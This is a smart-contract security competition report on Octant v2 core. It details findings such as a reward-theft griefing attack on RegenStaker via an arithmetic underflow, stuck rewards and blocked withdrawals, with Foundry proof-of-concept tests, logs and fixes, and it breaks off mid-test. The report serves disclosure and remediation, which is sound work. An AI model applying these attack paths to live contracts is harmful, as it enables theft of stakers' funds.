CANTINA

Octant v2 core

Competition

October 29, 2025

Contents

1 Introduction **2**
- 1.1 About Cantina . . . 2
- 1.2 Disclaimer . . . 2
- 1.3 Risk assessment . . . 2
  - 1.3.1 Severity Classification . . . 2

2 Security Review Summary **3**

3 Findings **4**
- 3.1 High Risk . . . 4
  - 3.1.1 User Can Indefinitely Block Earning Power Reduction, Stealing Rewards from Other Stakers . . . 4
- 3.2 Medium Risk . . . 7
  - 3.2.1 Rewards will be stuck inside `RegenStaker` . . . 7
  - 3.2.2 It is impossible to withdraw funds from `MorphoCompounderStrategy` if `compounderVault` have loss . . . 11
  - 3.2.3 Yield donating strategies have no recovery mechanism . . . 12
  - 3.2.4 Skimming Strategies return `uint256.max` for `maxDeposit`/`maxMint` during insolvency, causing `MultiStrategyVault` deposit DoS . . . 14
  - 3.2.5 Same receiver cannot be used after proposal cancelation . . . 20
- 3.3 Low Risk . . . 21
  - 3.3.1 Use two-step governance transfer & Missing events . . . 21
  - 3.3.2 `RegenStaker`: zero-deposit signup mechanisms are blocked (incompatibility with `TokenizedAllocationMechanism`) . . . 21
  - 3.3.3 Trapped dust rewards in `RegenStakerBase` . . . 23
  - 3.3.4 `_validateRewardBalance` Return Value (`required`) Not tracked . . . 27
  - 3.3.5 Yield skimming strategies will regularly get DoSed . . . 27
  - 3.3.6 `YIELD_SKIMMING_STORAGE_SLOT` should substract by one . . . 28
  - 3.3.7 Architectural Flaw in `RegenStakerFactory` Allows Malicious Dependency Injection, Enabling Reward Pool Theft . . . 29

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

2 Security Review Summary

Octant is an experiment in participatory public goods funding, utilizing Golem's native ERC-20 token, GLM. Developed by the Golem Foundation, Octant explores motivations for public goods support.

From Sep 8th to Sep 29th Cantina hosted a competition based on octant-v2-core. The participants identified a total of **26** issues in the following risk categories:

- High Risk: 1
- Medium Risk: 5
- Low Risk: 7
- Gas Optimizations: 0
- Informational: 13

The present report only outlines the **high**, **medium** and **low** risk issues.

3 Findings

3.1 High Risk

3.1.1 User Can Indefinitely Block Earning Power Reduction, Stealing Rewards from Other Stakers

Submitted by Dessy06, also found by trachev, count-sum, HeckerTrieuTien, DeveloperX, kvar, BengalCatBalu and BengalCatBalu

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: A critical flaw in the `RegenStaker`'s reward update logic allows a malicious user to prevent a necessary reduction in their earningPower. By preemptively claiming their rewards to keep their balance at or near zero, an attacker can ensure that a keeper's transaction to correct their status will always fail due to an arithmetic underflow. This allows the attacker to continue earning rewards at an old, inflated rate they are no longer entitled to, effectively stealing yield from all other legitimate stakers in the pool.

Finding Description: The `RegenStaker` system is designed to allow external keepers to update a user's earningPower by calling the `bumpEarningPower` function. This is essential for cases where a user's eligibility changes, such as being removed from a required whitelist. When a user's earningPower is being decreased, the function checks if a keeper's tip is affordable with the following logic, inherited from `staker/Staker.sol`:

```
// staker/Staker.sol, line ~430
if (_newEarningPower < deposit.earningPower && (_unclaimedRewards - _requestedTip) < maxBumpTip) {
    revert Staker__InsufficientUnclaimedRewards();
}
```

This check is arithmetically unsafe and creates a griefing vector. If a malicious user ensures their _unclaimedRewards is less than the `_requestedTip` (e.g., by claiming all rewards to set their balance to zero), the subtraction `_unclaimedRewards - _requestedTip` will cause an arithmetic underflow, reverting the entire transaction with a panic (`0x11`).

This breaks a core security guarantee of the protocol: that the reward distribution is fair and accurately reflects each user's current, legitimate earningPower. A malicious user can exploit this to break the link between their on-chain state and their true eligibility.

Attack Path:

1. Stake: A malicious user, Alice, stakes a large amount while she is whitelisted, establishing a high on-chain `earningPower`.
2. Prepare Attack: While still whitelisted and rewards are accruing, Alice calls `claimReward()` to drain her pending rewards balance to zero.
3. Trigger State Discrepancy: A protocol admin removes Alice from the whitelist for a legitimate reason. Her `earningPower` should now be zero, but her on-chain state still reflects the old, high value because `bumpEarningPower` has not been successfully called.
4. Block Correction: A keeper attempts to call `bumpEarningPower` to update Alice's state. The keeper requests a tip (`_requestedTip` > 0). The function's check attempts to calculate `0 - _requestedTip`, which causes an arithmetic underflow, reverting the keeper's transaction.
5. Steal Rewards: Because the keeper's update transaction is perpetually blocked, Alice's on-chain `earningPower` is never corrected to zero. She continues to accrue rewards at her old, inflated rate, siphoning yield away from all other legitimate stakers in the pool for the remainder of the reward period.

Impact Explanation: This vulnerability leads to a direct and ongoing theft of funds from honest users, qualifying it as High severity. The attacker doesn't drain the contract directly but manipulates the reward accounting to receive an unfairly large share of future rewards, diminishing the returns for everyone else. The value stolen is proportional to the attacker's original (now illegitimate) stake and the duration for which they can maintain the griefing attack.

Likelihood Explanation: The likelihood of this attack is high. It requires no special privileges beyond being a regular staker, and the attack path is economically rational for any user who is about to be removed from an earning whitelist. The user simply has to call the standard `claimReward()` function before an admin delists them. .

Proof of Concept: The following Foundry test, located at `test/proof-of-concepts/REG_EarningPower-Griefing_Test.t.sol`, provides a complete demonstration of the attack. It successfully runs and proves that the attacker (Alice) blocks the state update and steals rewards from the victims (Bob and Charlie).

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import { OctantTestBase } from "./OctantTestBase.t.sol";
import { Staker } from "staker/Staker.sol";
import "forge-std/console.sol";
contract REG_EarningPowerGriefing_Test is OctantTestBase {
    Staker.DepositIdentifier internal aliceDepositId;
    Staker.DepositIdentifier internal bobDepositId;
    Staker.DepositIdentifier internal charlieDepositId;

    uint256 internal constant ALICE_STAKE = 1_000 ether;
    uint256 internal constant BOB_STAKE = 100 ether;
    uint256 internal constant CHARLIE_STAKE = 50 ether;
    uint256 internal constant REWARD_AMOUNT = 100 ether;

    // Omitting setUp override to inherit directly from OctantTestBase and use its defaults.

    function test_PoC_UserBlocksEarningPowerReduction_WithDefaultTip() external {
        console.log("=== PoC: Earning Power Griefing Attack (Using Default 1000 wei Tip) ===");

        // --- PHASE 1: SETUP ---
        // Mint tokens and perform setup actions that were previously in setUp()
        stakeToken.mint(alice, ALICE_STAKE);
        stakeToken.mint(bob, BOB_STAKE);
        stakeToken.mint(charlie, CHARLIE_STAKE);
        rewardToken.mint(rewardNotifier, REWARD_AMOUNT);


        // Perform all admin actions within a single prank block.
        vm.startPrank(admin);
        // Alice & Bob are whitelisted in the base setup. Only add Charlie.
        stakerWhitelist.addToWhitelist(charlie);
        earningPowerWhitelist.addToWhitelist(charlie);
        vm.stopPrank();


        // Users stake
        vm.startPrank(alice);
        stakeToken.approve(address(regenStaker), ALICE_STAKE);
        aliceDepositId = regenStaker.stake(ALICE_STAKE, alice, alice);
        vm.stopPrank();
        vm.startPrank(bob);
        stakeToken.approve(address(regenStaker), BOB_STAKE);
        bobDepositId = regenStaker.stake(BOB_STAKE, bob, bob);
        vm.stopPrank();
        vm.startPrank(charlie);
        stakeToken.approve(address(regenStaker), CHARLIE_STAKE);
        charlieDepositId = regenStaker.stake(CHARLIE_STAKE, charlie, charlie);
        vm.stopPrank();
        console.log("[SETUP] Staking complete.");
        console.log("Default maxBumpTip from OctantTestBase:", regenStaker.maxBumpTip());
        assertEq(regenStaker.maxBumpTip(), 1000);

        // --- PHASE 2: REWARDS ACCRUE & ATTACK PREPARATION ---
        vm.startPrank(rewardNotifier);
        rewardToken.approve(address(regenStaker), REWARD_AMOUNT);
        rewardToken.transfer(address(regenStaker), REWARD_AMOUNT);
        regenStaker.notifyRewardAmount(REWARD_AMOUNT);
        vm.stopPrank();

        vm.warp(block.timestamp + REWARD_DURATION / 2);

        console.log("\n[ATTACK PREP] Alice preemptively claims rewards.");
        vm.prank(alice);
        regenStaker.claimReward(aliceDepositId);

        uint256 aliceRewardsAfterPreemptiveClaim = regenStaker.unclaimedReward(aliceDepositId);
        console.log("Alice's Unclaimed Rewards after claim:", aliceRewardsAfterPreemptiveClaim / 1e18);

        // --- PHASE 3: ATTACK TRIGGER ---
        vm.prank(admin);
```

```
        earningPowerWhitelist.removeFromWhitelist(alice);
        console.log("\n[TRIGGER] ADMIN ACTION: Alice removed from whitelist.");

        // --- PHASE 4: KEEPER'S FAILED UPDATE ---
        console.log("\n[FAILURE] KEEPER ACTION: Attempting to bump Alice's power down...");
        vm.prank(charlie);
        uint256 requestedTip = 1; // Minimum possible tip
        vm.expectRevert(); // Catches the arithmetic underflow panic
        regenStaker.bumpEarningPower(aliceDepositId, charlie, requestedTip);
        console.log("SUCCESS: Keeper's call reverted as expected. Alice blocked the update.");

        // --- PHASE 5: DEMONSTRATING THE THEFT ---
        console.log("\n--- [THEFT] Rewards Accruing (Second Half) ---");
        uint256 bobRewardsBeforeTheft = regenStaker.unclaimedReward(bobDepositId);
        uint256 charlieRewardsBeforeTheft = regenStaker.unclaimedReward(charlieDepositId);

        vm.warp(block.timestamp + REWARD_DURATION / 2);

        uint256 aliceRewardsAtEnd = regenStaker.unclaimedReward(aliceDepositId);
        uint256 bobRewardsAtEnd = regenStaker.unclaimedReward(bobDepositId);
        uint256 charlieRewardsAtEnd = regenStaker.unclaimedReward(charlieDepositId);

        assertTrue(aliceRewardsAtEnd > 0, "THEFT CONFIRMED: Alice earned rewards while delisted.");

        uint256 rewardsSecondHalf = REWARD_AMOUNT / 2;
        uint256 bobActualRewardGain = bobRewardsAtEnd - bobRewardsBeforeTheft;
        uint256 charlieActualRewardGain = charlieRewardsAtEnd - charlieRewardsBeforeTheft;
        uint256 legitimatePowerPool = BOB_STAKE + CHARLIE_STAKE;
        uint256 bobExpectedRewardGain = (rewardsSecondHalf * BOB_STAKE) / legitimatePowerPool;
        uint256 charlieExpectedRewardGain = (rewardsSecondHalf * CHARLIE_STAKE) / legitimatePowerPool;

        console.log("\n--- [VERIFICATION] Verifying Victims' Losses ---");
        console.log("Bob's Actual vs Expected Gain: ", bobActualRewardGain/1e18, "vs",
        ↪  bobExpectedRewardGain/1e18);
        console.log("Charlie's Actual vs Expected Gain: ", charlieActualRewardGain/1e18, "vs",
        ↪  charlieExpectedRewardGain/1e18);

        assertLt(bobActualRewardGain, bobExpectedRewardGain, "LOSS CONFIRMED: Bob received less than owed.");
        assertLt(charlieActualRewardGain, charlieExpectedRewardGain, "LOSS CONFIRMED: Charlie received less than
        ↪  owed.");
    }
}
```

```
Ran 1 test for test/proof-of-concepts/REG_EarningPowerGriefing_Test.t.sol:REG_EarningPowerGriefing_Test
[PASS] test_PoC_UserBlocksEarningPowerReduction_WithDefaultTip() (gas: 1427786)
Logs:
  === PoC: Earning Power Griefing Attack (Using Default 1000 wei Tip) ===
  [SETUP] Staking complete.
  Default maxBumpTip from OctantTestBase: 1000

[ATTACK PREP] Alice preemptively claims rewards.
  Alice's Unclaimed Rewards after claim: 0

[TRIGGER] ADMIN ACTION: Alice removed from whitelist.

[FAILURE] KEEPER ACTION: Attempting to bump Alice's power down...
  SUCCESS: Keeper's call reverted as expected. Alice blocked the update.

--- [THEFT] Rewards Accruing (Second Half) ---

--- [VERIFICATION] Verifying Victims' Losses ---
  Bob's Actual vs Expected Gain:  4 vs 33
  Charlie's Actual vs Expected Gain:  2 vs 16

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.74ms (5.02ms CPU time)
```

Recommendation: The validation logic for decreasing a user's earning power in `bumpEarningPower` is flawed and arithmetically unsafe. It should be change to remove the possibility of a griefing attack. The check should only ensure that the user has enough unclaimed rewards to pay the requested tip.

Change the check to be a simple, safe comparison that removes the underflow vector and the griefing possibility.

```
// staker/Staker.sol
if (_newEarningPower < deposit.earningPower && _unclaimedRewards < _requestedTip) {
```

```
    revert Staker__InsufficientUnclaimedRewards();
}
```

3.2 Medium Risk

3.2.1 Rewards will be stuck inside `RegenStaker`

Submitted by 0xG0P1, also found by ihtishamsudo and BengalCatBalu

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: Reward tokens distributed through the `RegenStaker::notifyRewardAmount` function can become permanently stuck if there is no active stake during a given period. The amount of rewards that get stuck corresponds to the period with no active stakes and the `scaledRewardRate` at that time. These stuck tokens cannot be recovered because of a flaw in the `_validateRewardBalance` function, which reverts any attempt to recover the stuck rewards.

Finding Description: Users of the `RegenStaker` contract can stake tokens and earn rewards distributed via the `notifyRewardAmount()` function. `RegenStaker` inherits most of its functionality from the `Staker.sol` contract but introduces some modifications. One key difference is the implementation of a validation function that verifies if the contract holds sufficient reward tokens across all token scenarios.

```
function _validateRewardBalance(uint256 _amount) internal view virtual returns (uint256 required) {
    uint256 currentBalance = REWARD_TOKEN.balanceOf(address(this));

    // For variants with surrogates: stakes are NOT in main contract
    // Only track rewards obligations: totalRewards - totalClaimedRewards + newAmount
    // This works for both same-token and different-token scenarios
    required = totalRewards - totalClaimedRewards + _amount;

    if (currentBalance < required) {
        revert InsufficientRewardBalance(currentBalance, required);
    }

    return required;
}
```

This implementation causes an issue where reward tokens become stuck. The root cause is similar to the well-documented Synthetix staking rewards issue involving inefficient reward distribution (https://0xmacro.com/blog/synthetix-staking-rewards-issue-inefficient-reward-distribution/). However, unlike Synthetix and the base `Staker` contract-which allow recovery of unused rewards by starting a new rewards cycle with the leftover amount-`RegenStaker` does not. Thanks to this `_validateRewardBalance` implementation, attempts to recover unused rewards by starting a new rewards cycle revert with the following error:

```
if (currentBalance < required) {
    revert InsufficientRewardBalance(currentBalance, required);
}
```

Consider the following scenario to illustrate the issue:

- `rewardDuration`: 50 days.
- `INITIAL_REWARDS`: 10 ether.

1. In the same block, `notifyRewardAmount(INITIAL_REWARDS)` is called, and Alice and Bob each stake 2 ether. At this point:
    - `rewardPerTokenAccumulatedCheckpoint` = 0.
    - `scaledRewardRate` = $ \frac{10 , \text{ether} \times 10^{36}}{50 , \text{days}} = 0.2 , \text{ether} \times 10^{36} \text{ per day} $.
    - Alice's stake = 2 ether.
    - Bob's stake = 2 ether.
2. After 20 days, Alice withdraws her entire stake (2 ether) and claims her rewards. The reward per token is updated as:

$$\text{rewardPerTokenAccumulatedCheckpoint} = 0 + \frac{0.2 \times 10^{36} \times 20}{4} = 1 \times 10^{36}$$

Alice's scaled unclaimed rewards:

$$2\,\text{ether} \times (1 \times 10^{36} - 0) = 2 \times 10^{36}$$

Alice's actual rewards:

$$\frac{2 \times 10^{36}}{10^{36}} = 2\,\text{ether}$$

3. Ten days later, Bob withdraws his entire stake of 2 ether and claims his rewards. The reward per token is updated to:

$$1 \times 10^{36} + \frac{0.2 \times 10^{36} \times 10}{2} = 2 \times 10^{36}$$

Bob's scaled unclaimed rewards:

$$2\,\text{ether} \times (2 \times 10^{36} - 0) = 4 \times 10^{36}$$

Bob's rewards:

$$\frac{4 \times 10^{36}}{10^{36}} = 4\,\text{ether}$$

4. After the remaining 10 days pass and the reward duration ends:
    - Total claimed rewards = 2 ether (Alice) + 4 ether (Bob) = 6 ether.
    - Total rewards = 10 ether.
    - Rewards remaining in the `RegenStaker` contract = 10 ether - 6 ether = 4 ether.

Now, if one attempts to recover the leftover 4 ether rewards by starting a new rewards cycle and calling `notifyRewardAmount(4 ether)`, the call will revert due to `_validateRewardBalance` logic:

```
uint256 currentBalance = REWARD_TOKEN.balanceOf(address(this)); // 4 ether
required = totalRewards - totalClaimedRewards + _amount;         // 10 - 6 + 4 = 8 ether

if (currentBalance < required) {                                 // 4 ether < 8 ether -> true
    revert InsufficientRewardBalance(currentBalance, required); // revert triggered
}
```

The condition causes the transaction to revert because the contract expects a minimum balance of 8 ether, but only has 4 ether available. Thus, the leftover 4 ether rewards cannot be recovered or reused, resulting in permanently stuck tokens within the contract.

Impact Explanation: High.

The impact of this issue is directly proportional to the duration during which there are no active stakes in the contract. According to the contract's implementation, the minimum and maximum reward durations are set to 7 days and 3000 days, respectively. Additionally, the magnitude of the stuck rewards is directly related to the `scaledRewardRate`, which determines how quickly rewards accumulate over time.

In the example scenario described earlier, a significant portion-4 ether, or 40% of the total 10 ether rewards-became permanently stuck due to inactive staking periods. This illustrates that the longer the interval without any active stake combined with a high `scaledRewardRate`, the greater the amount of reward tokens that become irrecoverably locked within the contract.

Likelihood Explanation: This issue is relatively likely to occur in scenarios where there are extended periods without any active staking in the RegenStaker contract. Because rewards are distributed continuously over the configured reward duration, if no users have active stakes during certain periods, the rewards allocated for that timeframe still accumulate internally but cannot be claimed or redistributed.

Since the reward duration can be as long as 3000 days, any gaps in active staking during this extended period can lead to significant reward accumulation that is essentially locked.

Moreover, whether users choose to keep their stake or unstake it depends on their individual needs and requirements. It is especially challenging for users to maintain their stake for the entire duration when the reward periods are long.

Proof of Concept: Modify `OctantTestBase.t.sol`'s Test constants to:

```
// Test constants
uint256 public constant INITIAL_DEPOSIT = 100 ether;
uint256 public constant INITIAL_STAKE = 50 ether;
uint256 public constant INITIAL_REWARDS = 10 ether;
uint256 public constant REWARD_DURATION = 50 days;
uint256 public constant PROFIT_MAX_UNLOCK_TIME = 10 days;
```

paste the following proof of concept in `BasicPOC_Test.t.sol`.

```
forge test --match-contract BasicPOC_Test --match-test test_RegenStakerRewardsStuck -vv
```

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import { OctantTestBase } from "./OctantTestBase.t.sol";
import { Staker } from "staker/Staker.sol";
import { console } from "forge-std/console.sol";

/**
 * @title Basic Octant POC Test
 * @notice Demonstrates integration between MultistrategyVault, RegenStaker, Allocation Mechanisms, and
 ↪  Strategies
 * @dev This POC test shows the core workflow:
 *      1. Users deposit into MultistrategyVault
 *      2. Vault allocates funds to yield-generating strategies
 *      3. Users stake tokens in RegenStaker to earn voting power
 *      4. Rewards are distributed through allocation mechanisms (quadratic funding)
 *      5. Strategy yields flow back to vault depositors
 */
contract BasicPOC_Test is OctantTestBase {
    error InsufficientRewardBalance(uint256 currentBalance, uint256 required);

    function setUp() public override {
        // Deploy all infrastructure components:
        // - MultistrategyVault with yield strategy
        // - RegenStaker with earning power calculation
        // - AllocationMechanism with quadratic funding
        // - Configured whitelists and permissions
        super.setUp();
    }

    /**
     * @notice Test scenario where staker rewards get stuck in the RegenStaker contract.
     * @dev
     * 1. Starts a reward period with 10 ether reward tokens distributed over 50 days.
     * 2. Alice and Bob stake 2 ether each.
     * 3. Alice withdraws and claims after 20 days.
     * 4. Bob withdraws and claims after another 10 days.
     * 5. After the reward period ends, check for leftover rewards.
     * 6. Ensure notifyRewardAmount reverts when trying to use stale leftover rewards.
     */
    function test_RegenStakerRewardsStuck() external {
        startRewardPeriod(INITIAL_REWARDS); // Initial rewards of 10 ether

        uint256 rewardPeriod = regenStaker.rewardDuration(); // Reward duration should be 50 days
        console.log("\nReward Duration (days):", rewardPeriod / 1 days);

        uint256 rewardTokenBalance = regenStaker.REWARD_TOKEN().balanceOf(address(regenStaker));
        console.log("Initial Contract Reward Token Balance:", rewardTokenBalance);

        // === Step 1: Alice + Bob stake ===
        console.log("\n=== Step 1: Alice + Bob stake ===");
        Staker.DepositIdentifier depositIdAlice = stakeTokens(alice, 2 ether, alice);
        Staker.DepositIdentifier depositIdBob = stakeTokens(bob, 2 ether, bob);
        console.log("Alice and Bob staked 2 ether each");
```

```
        // === Step 2: Alice withdraws + claims after 20 days ===
        vm.warp(block.timestamp + 20 days);
        console.log("\n=== Step 2: Alice withdraws + claims after 20 days ===");
        vm.startPrank(alice);
        regenStaker.withdraw(depositIdAlice, 2 ether);
        regenStaker.claimReward(depositIdAlice);
        vm.stopPrank();
        console.log("Alice withdrew and claimed rewards");

        // === Step 3: Bob withdraws + claims after 30 days ===
        vm.warp(block.timestamp + 10 days); // (total 30 days passed)
        console.log("\n=== Step 3: Bob withdraws + claims after 30 days ===");
        vm.startPrank(bob);
        regenStaker.withdraw(depositIdBob, 2 ether);
        regenStaker.claimReward(depositIdBob);
        vm.stopPrank();
        console.log("Bob withdrew and claimed rewards");

        // === Step 4: Warp past reward end time ===
        vm.warp(block.timestamp + 20 days + 1);
        assert(block.timestamp > regenStaker.rewardEndTime());
        console.log("\n=== Step 4: After Reward Period Ended ===");

        uint256 remainingRewards = regenStaker.REWARD_TOKEN().balanceOf(address(regenStaker));
        console.log("Remaining Reward Token Balance in Contract:", remainingRewards);

        uint256 totalClaimed = regenStaker.totalClaimedRewards();
        console.log("Total Rewards Claimed by All Users:", totalClaimed);

        // === Step 5: Attempt re-notify with leftover rewards, expect revert ===
        console.log("\n=== Step 5: Attempting re-notify with leftover rewards ===");
        vm.startPrank(rewardNotifier);
        vm.expectRevert(
            abi.encodeWithSelector(InsufficientRewardBalance.selector, remainingRewards, remainingRewards * 2)
        );
        regenStaker.notifyRewardAmount(remainingRewards);
        vm.stopPrank();
        console.log("Re-notify attempt reverted as expected due to insufficient balance");
    }
}
```

Logs:

```
Ran 1 test for test/proof-of-concepts/BasicPOC_Test.t.sol:BasicPOC_Test
[PASS] test_RegenStakerRewardsStuck() (gas: 945658)
Logs:

Reward Duration (days): 50
  Initial Contract Reward Token Balance: 10000000000000000000

=== Step 1: Alice + Bob stake ===
  Alice and Bob staked 2 ether each

=== Step 2: Alice withdraws + claims after 20 days ===
  Alice withdrew and claimed rewards

=== Step 3: Bob withdraws + claims after 30 days ===
  Bob withdrew and claimed rewards

=== Step 4: After Reward Period Ended ===
  Remaining Reward Token Balance in Contract: 4000000000000000002
  Total Rewards Claimed by All Users: 5999999999999999998

=== Step 5: Attempting re-notify with leftover rewards ===
  Re-notify attempt reverted as expected due to insufficient balance

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 34.92ms (10.39ms CPU time)

Ran 1 test suite in 336.43ms (34.92ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Recommendation: A quick fix can be to stake a minimum amount of stake, this ensures that there is always some active stake in the contract and eliminates the issue.

3.2.2 It is impossible to withdraw funds from `MorphoCompounderStrategy` if `compounderVault` have loss

Submitted by BengalCatBalu

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Summary: `MorphoCompounderStrategy` deposited funds go into the compounderVault, which is the underlying vault of this strategy. It should be noted that compounderVault is also a Yearn tokenized strategy. This can be confirmed by the hardcoded YS_USDC address in MorphoCompounderStrategyFactory.

Examining the contract at 0x074134A2784F4F66b6ceD6f68849382990Ff3215 shows that it is indeed the same type of tokenized strategy.

The code for `YS_USDC` can be more conveniently reviewed at address 0xb6da41d4bdb484bdad0bfaa79bc8e182e5095f7e.

Since `YS_USDC` is the same type of tokenized strategy, it is equally exposed to potential losses and contains the exact same `_withdraw` function:

```
function withdraw(uint256 assets, address receiver, address owner) external virtual returns (uint256 shares) {
    return withdraw(assets, receiver, owner, 0);
}
function withdraw(
    uint256 assets,
    address receiver,
    address owner,
    uint256 maxLoss
) public virtual nonReentrant returns (uint256 shares) {
    // Get the storage slot for all following calls.
    StrategyData storage S = _strategyStorage();
    require(assets <= _maxWithdraw(S, owner), "ERC4626: withdraw more than max");
    // Check for rounding error or 0 value.
    require((shares = _convertToShares(S, assets, Math.Rounding.Ceil)) != 0, "ZERO_SHARES");

    // Withdraw and track the actual amount withdrawn for loss check.
    _withdraw(S, receiver, owner, assets, shares, maxLoss);
}
function _withdraw(
    StrategyData storage S,
    address receiver,
    address owner,
    uint256 assets,
    uint256 shares,
    uint256 maxLoss
) internal returns (uint256) {
    require(receiver != address(0), "ZERO ADDRESS");
    require(maxLoss <= MAX_BPS, "exceeds MAX_BPS");

    // Spend allowance if applicable.
    if (msg.sender != owner) {
        _spendAllowance(S, owner, msg.sender, shares);
    }

    // Cache `asset` since it is used multiple times..
    ERC20 _asset = S.asset;

    uint256 idle = _asset.balanceOf(address(this));
    // slither-disable-next-line uninitialized-local
    uint256 loss;
    // Check if we need to withdraw funds.
    if (idle < assets) {
        // Tell Strategy to free what we need.
        unchecked {
            IBaseStrategy(address(this)).freeFunds(assets - idle);
        }

        // Return the actual amount withdrawn. Adjust for potential under withdraws.
        idle = _asset.balanceOf(address(this));

        // If we didn't get enough out then we have a loss.
        if (idle < assets) {
            unchecked {
```

```
                loss = assets - idle;
            }
            // If a non-default max loss parameter was set.
            if (maxLoss < MAX_BPS) {
                // Make sure we are within the acceptable range.
                require(loss <= (assets * maxLoss) / MAX_BPS, "too much loss");
            }
            // Lower the amount to be withdrawn.
            assets = idle;
        }
    }

    // Update assets based on how much we took.
    S.totalAssets -= (assets + loss);

    _burn(S, owner, shares);

    // Transfer the amount of underlying to the receiver.
    _asset.safeTransfer(receiver, assets);

    emit Withdraw(msg.sender, receiver, owner, assets, shares);

    // Return the actual amount of assets withdrawn.
    return assets;
}
```

The key point to note is the `maxLoss` parameter in the `_withdraw` function - if it is set to 0, then even the slightest loss will cause the `withdraw` call to revert.

By default, the `withdraw` function uses `maxLoss = 0` unless another value is explicitly specified.

```
function _freeFunds(uint256 _amount) internal override {
    IERC4626(compounderVault).withdraw(_amount, address(this), address(this));
}
```

It should be noted that the implementation of `_freeFunds` in `MorphoCompounderStrategy` calls `withdraw` without specifying `maxLoss`. This means the default value of `0` is used.

Since `_freeFunds` is the core function used by the strategy's `withdraw`, `redeem`, and `emergencyWithdraw`, the consequence is clear: if the `compounderVault` incurs losses, any `withdraw/redeem/emergencyWithdraw` calls with an `amount` large enough to be affected by those losses will simply revert and fail to execute.

Impact Explanation: Because `_freeFunds` always calls withdraw with `maxLoss = 0`, any realized loss in the underlying `compounderVault` will cause `withdraw`, `redeem`, and even `emergencyWithdraw` to revert. This can result in funds being effectively locked during adverse market conditions (unknown period), preventing users from exiting the strategy, or manager from `emergencyExit`.

Recommendation: Add ability to specify maxLoss on `_freeFunds` function.

3.2.3 Yield donating strategies have no recovery mechanism

Submitted by kvar, also found by Sabit, IamSalted, Bizarro and EVDoc

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Finding Description: `YieldDonatingTokenizedStrategy.sol#report()` implementation introduces an asymmetry between how losses and profits are handled.

- On Loss: Shares are burned from the `dragonRouter` to absorb losses. If losses exceed Dragon's buffer, the vault's price per share (PPS) drops.
- On Profit: Profits are always minted as new shares to the `dragonRouter`, without first restoring PPS.

This behavior means that once PPS decreases, it can never recover, even if the strategy later earns equivalent or greater profits. As a result, users cannot regain their original deposit value, contrary to the documentation which states:

"Users can recover original deposits underlying value after full recovery".
"Future profits first offset tracked losses before minting new shares to dragon router".

Impact Explanation: PPS will never recover to 1:1 after uncovered losses. Instead, it will continue to drop over time. Users will receive less than their initial deposit, even if the strategy later has profit.

Likelihood Explanation: Current in-scope yield donating strategies are not supposed to make losses, thus the likelihood of this issue is low.

Proof of Concept: Add this test case in `SkyCompounder.t.sol`:

```
function testLossTrackingWhenInsufficientDragonShares() public {
    uint256 userDeposit = 1000e18;
    uint256 dragonDeposit = 100e18;
    uint256 lossAmount = 200e18; // More than dragon's contribution

    // User deposits
    vm.startPrank(user);
    vault.deposit(userDeposit, user);
    vm.stopPrank();

    // Dragon router deposits (large amount)
    airdrop(ERC20(USDS), donationAddress, dragonDeposit);
    vm.startPrank(donationAddress);
    ERC20(USDS).approve(address(strategy), type(uint256).max);
    vault.deposit(dragonDeposit, donationAddress);
    vm.stopPrank();

    console.log("Initial state:");
    console.log("  Price per share", vault.pricePerShare());
    console.log("  Dragon deposit:", dragonDeposit);

    // Disable health check to allow loss simulation
    vm.startPrank(management);
    strategy.setDoHealthCheck(false);
    vm.stopPrank();

    // Create loss by mocking the balanceOf call
    uint256 stakingBalance = strategy.balanceOfStake();
    uint256 newStakingBalance = stakingBalance > lossAmount ? stakingBalance - lossAmount : 0;
    vm.mockCall(
        STAKING,
        abi.encodeWithSelector(ERC20.balanceOf.selector, address(strategy)),
        abi.encode(newStakingBalance)
    );

    // Report the loss
    vm.startPrank(keeper);
    (uint256 reportedProfit, uint256 reportedLoss) = vault.report();
    vm.stopPrank();

    uint256 dragonSharesAfterLoss = vault.balanceOf(donationAddress);

    console.log("After loss report:");
    console.log("  Price per share", vault.pricePerShare());
    console.log("  ^^^ PPS has dropped, which is expected");
    console.log("  Reported profit:", reportedProfit);
    console.log("  Reported loss:", reportedLoss);
    console.log("  Dragon shares after loss:", dragonSharesAfterLoss);

    uint256 profit = 100e18;
    uint256 currentBalance = stakingBalance - lossAmount;

    airdrop(ERC20(USDS), STAKING, profit);
    vm.mockCall(
        STAKING,
        abi.encodeWithSelector(ERC20.balanceOf.selector, address(strategy)),
        abi.encode(currentBalance + profit)
    );

    vm.startPrank(keeper);
    (uint256 recoveryProfit1, ) = vault.report();
    vm.stopPrank();
```

```
    console.log("After profit of 100e18:");
    console.log("  Price per share", vault.pricePerShare());
    console.log("  ^^^ After profit PPS does not recover");
    console.log("  instead it mints dragon shares");
    console.log("  Reported profit:", recoveryProfit1);
